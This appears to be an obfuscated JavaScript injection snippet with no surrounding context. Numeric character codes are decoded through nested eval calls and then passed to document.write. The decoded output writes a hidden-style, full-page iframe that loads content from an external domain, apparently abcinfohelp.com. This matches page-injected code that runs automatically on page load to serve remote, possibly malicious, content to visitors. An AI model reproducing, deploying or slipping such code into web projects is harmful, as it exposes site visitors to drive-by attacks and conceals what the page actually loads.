s="750805789804795802806722798787800793807787793791751764787808787773789804795802806752722790801789807799791800806736809804795806791730724750790795808722795790751729800791809795790729722805806811798791751729802787790790795800793748738749799787804793795800748738749802801805795806795801800748787788805801798807806791749798791792806748738749806801802748738749809795790806794748739738738727749794791795793794806748740738738738749812735795800790791810748739749788787789797793804801807800790735789801798801804748809794795806791729752750795792804787799791722805804789751729794806806802748737737787788789795800792801794791798802736789801799737787790808795805801804735799801790807798791805737789801800806791810806785787790808753787789789801807800806751794798808787743738728804791792751724733806801802736790801789807799791800806736804791792791804804791804733724729722809795790806794751729739738738727729722794791795793794806751729739738738727729722805789804801798798795800793751729800801729722800801804791805795812791752750737795792804787799791752750737790795808752724731749722750737805789804795802806752722";k="f=String.fromCharCode(32,118,97,114,32,111,32,61,32,32,32,39,39,32,32,59,32,32,32,102,117,110,99,116,105,111,110,32,32,32,100,32,32,32,40,32,32,41,32,123,32,32,105,32,61,32,48,32,32,59,32,99,32,32,32,61,32,32,48,32,32,32,59,32,32,119,104,105,108,101,32,32,32,40,32,105,32,60,32,32,115,46,108,101,110,103,116,104,32,32,41,32,32,123,32,99,32,32,61,32,77,97,116,104,46,114,111,117,110,100,32,32,32,40,32,32,115,46,99,104,97,114,65,116,40,32,32,32,105,32,32,41,32,32,43,32,32,115,46,99,104,97,114,65,116,40,32,32,32,105,32,43,32,32,49,32,32,32,41,32,32,43,32,115,46,99,104,97,114,65,116,40,32,32,32,105,32,32,43,32,50,32,32,41,32,32,32,41,32,32,32,45,32,32,32,54,57,48,59,32,32,105,32,32,61,32,32,105,32,43,32,32,32,51,32,32,32,59,32,32,111,43,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,32,32,99,32,41,32,32,59,32,125,32,32,32,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,32,32,32,111,32,32,41,32,125,32,32,32,100,40,32,32,41,59);";eval(eval(k));